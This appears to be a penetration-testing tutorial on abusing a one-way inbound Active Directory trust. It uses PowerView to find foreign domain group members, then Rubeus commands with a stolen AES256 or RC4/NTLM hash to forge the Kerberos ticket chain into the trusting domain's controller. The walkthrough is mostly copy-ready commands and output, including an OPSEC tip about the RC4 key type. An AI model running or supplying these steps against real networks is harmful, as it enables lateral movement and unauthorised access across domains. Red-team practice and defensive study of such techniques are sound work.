One-Way Inbound Trust Abuse

A one-way inbound trusts looks like this

PS C:\users\otter\desktop> Get-DomainTrust

SourceName      : trusteddomain.com
TargetName      : trustingdomain.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : 
TrustDirection  : Inbound
WhenCreated     : 8/16/2022 9:52:37 AM
WhenChanged     : 8/16/2022 9:52:37 AM

To abuse this kind of trust we'll make use of the users or groups with Foreign Domain Group Membership (FDGM): users or groups from the first domain that are also trusted in the second one. With valid domain credentials for these users we can access, scan and interact with the trusting domain.

To find users and groups with FDGM

PS C:\users\otter\desktop> Get-DomainForeignGroupMember -Domain trustingdomain.com

GroupDomain             : trustingdomain.com
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=trustingdomain,DC=com
MemberDomain            : trustingdomain.com
MemberName              : S-1-5-21-569305411-121244042-2357301523-1120

for example, this output shows that there is a member of the Administrators groups in the trusted domain that is not part of the domain directly, to check what user or group has this property we can convert the shown SID and we'll find that this group is in the trusted domain

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120

TRUSTED\Worskstation Admins

PS C:\users\otter\desktop> Get-DomainGroupMember -Identity "Workstation Admins" | select MemberName

MemberName
----------
otter

Another way to get this information is using BloodHound with the Groups with Foreign Domain Group Membership and Users with Foreign Domain Group Membership queries.

To (ab)use this trust we need the RC4 or AES256_HMAC hash for the user with FDGM to ask a inter-realm TGT and TGS

PS C:\users\otter\desktop> Rubeus.exe asktgt /user:otter /domain:trusteddomain.com /aes256:<AES256_HMAC_HASH> /nowrap

PS C:\users\otter\desktop> Rubeus.exe asktgs /service:krbtgt/trustingdomain.com /domain:trusteddomain.com /dc:dc.trusteddomain.com /ticket:<BASE64_KIRBI_TICKET> /nowrap

Now we can request the inter-realm ticket

PS C:\users\otter\desktop> Rubeus.exe asktgs /service:cifs/dc.trustingdomain.com /domain:trustingdomain.com /dc:dc.trustringdomain.com /ticket:<BASE64_KIRBI_TICKET> /nowrap

OPSEC

It's good to highlight that, when we request the TGS for the trusted domain, we are shown the KeyType of the ticket

PS C:\users\otter\desktop> Rubeus.exe asktgs /service:krbtgt/trustingdomain.com /domain:trusteddomain.com /dc:dc.trusteddomain.com /ticket:<BASE64_KIRBI_TICKET> /nowrap
...

KeyType                  :  rc4_hmac

...

RC4 is the default key type so using a normal NTLM hash is also a viable option.